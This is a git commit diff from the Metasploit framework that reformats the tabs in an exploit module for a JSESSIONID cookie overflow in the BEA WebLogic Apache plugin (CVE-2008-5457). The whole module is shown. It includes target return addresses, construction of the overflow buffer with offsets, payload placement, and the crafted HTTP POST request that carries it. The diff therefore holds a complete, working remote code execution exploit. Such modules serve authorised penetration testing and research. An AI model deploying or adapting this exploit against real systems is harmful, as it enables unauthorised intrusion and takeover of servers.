Fix tabstops for weblogic module

git-svn-id: file:///home/svn/framework3/trunk@6405 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2009-03-28 06:00:23 +00:00
parent a5125c6c87
commit 86bc12940a
1 changed files with 30 additions and 32 deletions

View File

@ -16,18 +16,18 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'BEA Weblogic JSESSIONID cookie value overflow',
'Description' => %q{
0day in the JSESSION cookie value when clustering is configured.
},
This module exploits a 0day in the JSESSION cookie value when clustering is configured.
},
'Author' => 'pusscat',
'References' =>
[
[ 'CVE', '2008-5457' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Privileged' => true,
'Platform' => 'win',
'Payload' =>
@ -38,39 +38,37 @@ class Metasploit3 < Msf::Exploit::Remote
},
'Targets' =>
[
[ 'Windows Apache 2.2 - weblogic module version 1.0.1136334',
{
'Ret' => 0x1006c9b5, # jmp esp
}
],
[ 'Windows Apache 2.2 - weblogic module version 1.0.1150354',
{
'Ret' => 0x1006c9be, # jmp esp
}
],
[
[ 'Windows Apache 2.2 - weblogic module version 1.0.1136334',
{
'Ret' => 0x1006c9b5, # jmp esp
}
],
[ 'Windows Apache 2.2 - weblogic module version 1.0.1150354',
{
'Ret' => 0x1006c9be, # jmp esp
}
],
],
'DefaultTarget' => 1))
register_options( [ Opt::RPORT(80) ], self.class )
register_options( [ Opt::RPORT(80) ], self.class )
end
def exploit
sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
sploit[8181, 4] = [target.ret].pack('V')
sploit[8185, payload.encoded.length] = payload.encoded
request =
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
sploit +
"\r\n\r\n"
sploit = Rex::Text.rand_text_alphanumeric(10000, payload_badchars)
sploit[8181, 4] = [target.ret].pack('V')
sploit[8185, payload.encoded.length] = payload.encoded
connect
sock.put(request);
handler
request =
"POST /index.jsp HTTP/1.1\r\nHost: localhost\r\nCookie: TAGLINE=IAMMCLOVIN; JSESSIONID=" +
sploit +
"\r\n\r\n"
disconnect
connect
sock.put(request);
handler
disconnect
end
end